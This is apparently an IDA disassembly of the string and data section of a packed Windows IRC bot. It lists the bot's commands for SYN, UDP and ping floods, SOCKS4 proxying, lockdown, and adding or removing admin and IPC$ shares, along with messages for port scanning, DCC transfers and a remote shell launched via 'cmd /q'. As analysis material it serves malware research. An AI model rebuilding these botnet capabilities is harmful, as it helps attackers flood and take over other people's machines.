dword_437208 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE51+11A6o
dword_437214 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+11A1o
; char aDdos_ping_off[]
aDdos_ping_off db 'ddos.ping.off',0 ; DATA XREF: sub_40EE51+1188o
align 10h
dword_437230 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE51+117Do
dword_43723C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+1178o
; char aDdos_udp_off[]
aDdos_udp_off db 'ddos.udp.off',0 ; DATA XREF: sub_40EE51+115Fo
align 4
dword_437258 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE51+1154o
dword_437264 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+114Fo
; char aDdos_syn_off[]
aDdos_syn_off db 'ddos.syn.off',0 ; DATA XREF: sub_40EE51+1136o
align 10h
dword_437280 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+112Bo
dword_43728C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+1126o
; char aDdos_off[]
aDdos_off db 'ddos.off',0 ; DATA XREF: sub_40EE51+110Do
align 4
dword_4372A4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE51+1102o
dword_4372B4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE51+10FDo
; char aProxy_redirect[]
aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE51+10E4o
align 4
dword_4372D8 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE51+10D9o
dword_4372E4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE51+10D4o
; char aLog_off[]
aLog_off db 'log.off',0 ; DATA XREF: sub_40EE51+10BBo
dword_4372F8 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE51+10B3o
; char aDaemon_web_off[]
aDaemon_web_off db 'daemon.web.off',0 ; DATA XREF: sub_40EE51+1095o
align 4
dword_437314 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE51+108Do
; char aDaemon_rlogin_[]
aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE51+106Fo
align 4
dword_437338 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE51+104Do
aServer_0 db 'Server',0 ; DATA XREF: sub_40EE51+1048o
; sub_40EE51+1088o ...
align 10h
; char aProxy_socks4_0[]
aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE51+102Fo
align 4
; char aProxy_s4_on[]
aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE51+101Ao
; char aProxy_socks4_o[]
aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE51+1005o
; char aLd_off[]
aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE51+FF0o
align 4
; char aLockdown_off[]
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE51+FDBo
align 4
; char aLd_on[]
aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE51+FC6o
align 10h
; char aLockdown_on[]
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE51+FB1o
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_40EE51+F9Co
; char aIrc_version[]
aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE51+F87o
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_40EE51+F72o
align 10h
; char aIrc_logout[]
aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE51+F5Do
align 4
; char aIrc_di[]
aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE51+F48o
align 4
; char aIrc_die[]
aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE51+F33o
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_40EE51+F1Eo
align 10h
; char aIrc_rndnick[]
aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE51+F06o
; char a63[]
a63 db '63',0 ; DATA XREF: sub_40EE51+DDFo
align 10h
; char asc_4373F0[]
asc_4373F0 db ')',0 ; DATA XREF: sub_40EE51+DB7o
align 4
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_40EE51+D7Ao
align 4
; char aServer_1[]
aServer_1 db '$server',0 ; DATA XREF: sub_40EE51+D6Fo
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE51+D5Eo
align 10h
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_40EE51+D42o
align 4
; char aUser_2[]
aUser_2 db '$user',0 ; DATA XREF: sub_40EE51+D31o
align 10h
; char aMe_0[]
aMe_0 db '$me',0 ; DATA XREF: sub_40EE51+D1Fo
; char aD_0[]
aD_0 db '$%d',0 ; DATA XREF: sub_40EE51+CB1o
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_40EE51+BF6o
align 10h
; char aS1gn1n[]
aS1gn1n db 's1gn1n',0 ; DATA XREF: sub_40EE51+B0Ao
align 4
; char dword_437438
dword_437438 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+AD5o
dd 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_437478 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+AC7o
dd 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_4374B8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+AB9o
dd 2BBBB02h
aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0
; char dword_4374FC
dword_4374FC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+A4Ao
dd 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
; char aChat[]
aChat db 'CHAT',0 ; DATA XREF: sub_40EE51+9B3o
align 4
; char dword_437534
dword_437534 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+996o
dd 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_437584 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+978o
; sub_40EE51+4AAEo
dd 2BBBB02h
aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0
dword_4375CC dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40EE51+967o
dd 0A0Dh
; char dword_4375E4
dword_4375E4 dd 4E495001h, 47h ; DATA XREF: sub_40EE51+933o
; char aSHasJustVersio[]
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE51+8EDo
align 4
; char dword_437608[]
dword_437608 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40EE51+8D3o
dd 0D017325h, 0Ah
; char dword_437624
dword_437624 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE51+8A2o
; char dword_437630
dword_437630 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+788o
dd 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
; char aSend_0[]
aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE51+6E5o
align 4
; char dword_437674
dword_437674 dd 43434401h, 0 ; DATA XREF: sub_40EE51+6C7o
; char a332[]
a332 db '332',0 ; DATA XREF: sub_40EE51+64Eo
; sub_40EE51+B40o ...
; char dword_437680
dword_437680 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5CFo
dd 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 10h
; char dword_4376B0[]
dword_4376B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5A8o
dd 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 10h
; char a353[]
a353 db '353',0 ; DATA XREF: sub_40EE51+571o
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_40EE51+523o
; sub_40EE51+5ECo
align 4
; char aSS_1[]
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40EE51+4FBo
align 4
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_40EE51+3CDo
align 4
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+36Eo
; sub_40EE51+610o
; char dword_43770C
dword_43770C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+355o
; sub_40EE51+600Fo ...
dd 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_40EE51+2E4o
align 4
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+28Do
; sub_40EE51+4EA3o ...
align 10h
; char a433[]
a433 db '433',0 ; DATA XREF: sub_40EE51+265o
; char a[]
a@: ; DATA XREF: sub_40EE51+23Ao
unicode 0, <@>,0
; char a302[]
a302 db '302',0 ; DATA XREF: sub_40EE51+22Ao
; char a005[]
a005 db '005',0 ; DATA XREF: sub_40EE51+215o
; char a001[]
a001 db '001',0 ; DATA XREF: sub_40EE51+200o
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+1E4o
; sub_40EE51+3B4o ...
align 4
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+1C3o
align 10h
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_40EE51+1A9o
align 4
; char asc_437788[]
asc_437788: ; DATA XREF: sub_40EE51+19Ao
; sub_40EE51+6111o
unicode 0, <!>,0
; char asc_43778C[]
asc_43778C db ' :',0 ; DATA XREF: sub_40EE51+86o
; sub_40EE51:loc_40F9E9o
align 10h
; char aSD_0[]
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_415179+120o
align 4
; char unk_43779C
unk_43779C db 2 ; DATA XREF: sub_41532A:loc_4153B1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListFai db 'Process list failed.',0
align 4
unk_4377D4 db 2 ; DATA XREF: sub_41532A+80o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListCom db 'Process list completed.',0
; char unk_43780C
unk_43780C db 2 ; DATA XREF: sub_41532A+19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aListingProcess db 'Listing processes:',0
align 10h
; char dword_437840[]
dword_437840 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41546F+1E9o
dd 2029671Fh, 2BBBB02h
aUserLoggedOutS db ' User logged out: <%s@%s>.',0
; char dword_437878[]
dword_437878 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41546F+1C2o
dd 2029671Fh, 2BBBB02h
aErrorSessionru db ' Error: SessionRun(): <%d>.',0
align 4
; char dword_4378B4[]
dword_4378B4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41546F+1A2o
dd 2029671Fh, 2BBBB02h
aUserLoggedInS@ db ' User logged in: <%s@%s>.',0
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41546F+172o
align 10h
; char dword_437900[]
dword_437900 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41546F+E1o
dd 2029671Fh, 2BBBB02h
aErrorGetpeerna db ' Error: getpeername(): <%d>.',0
align 4
; char dword_43793C[]
dword_43793C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415674:loc_4156B9o
dd 2029671Fh, 2BBBB02h
aProtocolString db ' Protocol string too long.',0
; char dword_437974[]
dword_437974 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156CE+1Bo
dd 2029671Fh, 2BBBB02h
aLoginRejectedR db ' Login rejected, Remote user: <%s@%s>.',0
; char dword_4379B8
dword_4379B8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+219o
dd 2029671Fh, 2BBBB02h
aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0
; char dword_4379FC[]
dword_4379FC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+1FBo
dd 2029671Fh, 2BBBB02h
aFailedToSta_31 db ' Failed to start client thread, error: <%d>.',0
align 4
; char dword_437A48
dword_437A48 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+177o
dd 2029671Fh, 2BBBB02h
aClientConnec_2 db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_437A9C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+106o
dd 2029671Fh, 2BBBB02h
aReadyAndWaitin db ' Ready and waiting for incoming connections.',0
align 4
; char dword_437AE8[]
dword_437AE8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+70o
dd 2029671Fh, 2BBBB02h
aFailedToInstal db ' Failed to install control-C handler, error: <%d>.',0
; char dword_437B38[]
dword_437B38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156FD+3Do
dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h
dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst db 'const',0
align 10h
dd 0
dword_437B84 dd 1 ; DATA XREF: sub_415CF0+7o
off_437B88 dd offset sub_415985 ; DATA XREF: sub_415CF0+49r
aLetter db 'letter',0
align 8
dd 2, 4159E3h, 706D6F63h, 2 dup(0)
dd 3, 415A30h, 6E756F63h, 797274h, 0
dd 4, 415ACEh, 736Fh, 2 dup(0)
dd 5, 415B43h
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_415985+40o
; UPX0:00415AAFo ...
align 4
byte_437BE4 db 50h ; DATA XREF: UPX0:00415A52o
; UPX0:00415A5Fr
db 43h, 2 dup(0)
dword_437BE8 dd 7C7325h ; DATA XREF: UPX0:00415AFDo
; sub_415CF0+39o
dword_437BEC dd 5D73255Bh, 7Ch ; DATA XREF: UPX0:00415C07o
dword_437BF4 dd 334B32h ; DATA XREF: UPX0:00415BF7o
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_415C4D+3Ao
align 10h
; char aM[]
aM db '[M]',0 ; DATA XREF: sub_415C4D+2Co
; sub_415C4D+57o
; char unk_437C04
unk_437C04 db 2 ; DATA XREF: sub_415D59+92o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
; char unk_437C3C
unk_437C3C db 2 ; DATA XREF: sub_415E26+41o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_437C78 dd offset dword_437CB0 ; DATA XREF: sub_415F77+1B3o
; sub_41629B+17Ao
align 10h
dd offset dword_437CA8
align 8
off_437C88 dd offset dword_437CA4 ; DATA XREF: sub_41629B+1E3o
dd offset dword_437CA0
dd offset dword_437C9C
dd offset dword_437C98
dword_437C98 dd 5C3A44h ; DATA XREF: sub_415F77+217o
; UPX0:00437C94o
dword_437C9C dd 2444h ; DATA XREF: UPX0:00437C90o
dword_437CA0 dd 5C3A43h ; DATA XREF: UPX0:00437C8Co
dword_437CA4 dd 2443h ; DATA XREF: UPX0:off_437C88o
dword_437CA8 dd 494D4441h, 244Eh ; DATA XREF: UPX0:00437C80o
dword_437CB0 dd 24435049h, 0 ; DATA XREF: UPX0:off_437C78o
; char unk_437CB8
unk_437CB8 db 2 ; DATA XREF: sub_415F77+2E5o
; sub_41629B+2D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
; char unk_437CF8
unk_437CF8 db 2 ; DATA XREF: sub_415F77+2CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 10h
; char unk_437D30
unk_437D30 db 2 ; DATA XREF: sub_415F77:loc_4161D9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_437D6C db 2 ; DATA XREF: sub_415F77+25Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
; char unk_437DA0
unk_437DA0 db 2 ; DATA XREF: sub_415F77:loc_416146o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_437DDC db 2 ; DATA XREF: sub_415F77+1C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 10h
; char unk_437E10
unk_437E10 db 2 ; DATA XREF: sub_415F77:loc_4160A9o
; sub_41629B:loc_4163C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_437E50 db 2 ; DATA XREF: sub_415F77:loc_4160A2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
; char unk_437E9C
unk_437E9C db 2 ; DATA XREF: sub_415F77:loc_416084o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 10h
unk_437EE0 db 2 ; DATA XREF: sub_415F77+106o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F77+EDo
; sub_41629B+EDo
align 10h
; char unk_437F40
unk_437F40 db 2 ; DATA XREF: sub_415F77+91o
; sub_41629B+91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 10h
; char dword_437F80
dword_437F80 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_415F77:loc_415FE4o
dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h
dd 2E6465h
unk_437FAC db 2 ; DATA XREF: sub_415F77+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 10h
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F77+54o
; sub_41629B+54o
align 4
word_437FEC dw 4Eh ; DATA XREF: sub_415F77+38r
align 10h
; char unk_437FF0
unk_437FF0 db 2 ; DATA XREF: sub_41629B+2C0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
; char aC_1[]
aC_1 db '%c:\',0 ; DATA XREF: sub_41629B+22Ao
align 4
; char aC_0[]
aC_0 db '%c$',0 ; DATA XREF: sub_41629B+219o
; char unk_438030
unk_438030 db 2 ; DATA XREF: sub_41629B:loc_41643Ao
; sub_41629B:loc_416508o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_438068 db 2 ; DATA XREF: sub_41629B+198o
; sub_41629B+266o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_438098 db 2 ; DATA XREF: sub_41629B:loc_4163C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
; char unk_4380E4
unk_4380E4 db 2 ; DATA XREF: sub_41629B:loc_4163A4o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_438128 db 2 ; DATA XREF: sub_41629B+102o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
; char dword_438174
dword_438174 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_41629B:loc_416308o
dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h
dd 2E64h
unk_4381A0 db 2 ; DATA XREF: sub_41629B+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_4381D4 dw 59h ; DATA XREF: sub_41629B+38r
align 4
; char dword_4381D8[]
dword_4381D8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165B2+DEo
dd 2029671Fh, 2BBBB02h
aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0
align 4
; char dword_43821C[]
dword_43821C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165B2+59o
; sub_4165B2+8Bo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0
align 4
dword_438274 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416703+AFo
dd 2029671Fh, 2BBBB02h
aFailedToExecut db ' Failed to execute shell.',0
align 4
; char dword_4382AC[]
dword_4382AC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416703+7Eo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0
align 4
dword_4382FC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416703+5Co
dd 2029671Fh, 2BBBB02h
aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0
align 4
; char dword_43834C[]
dword_43834C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4167FC+C3o
dd 2029671Fh, 2BBBB02h
aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4167FC+8Co
align 4
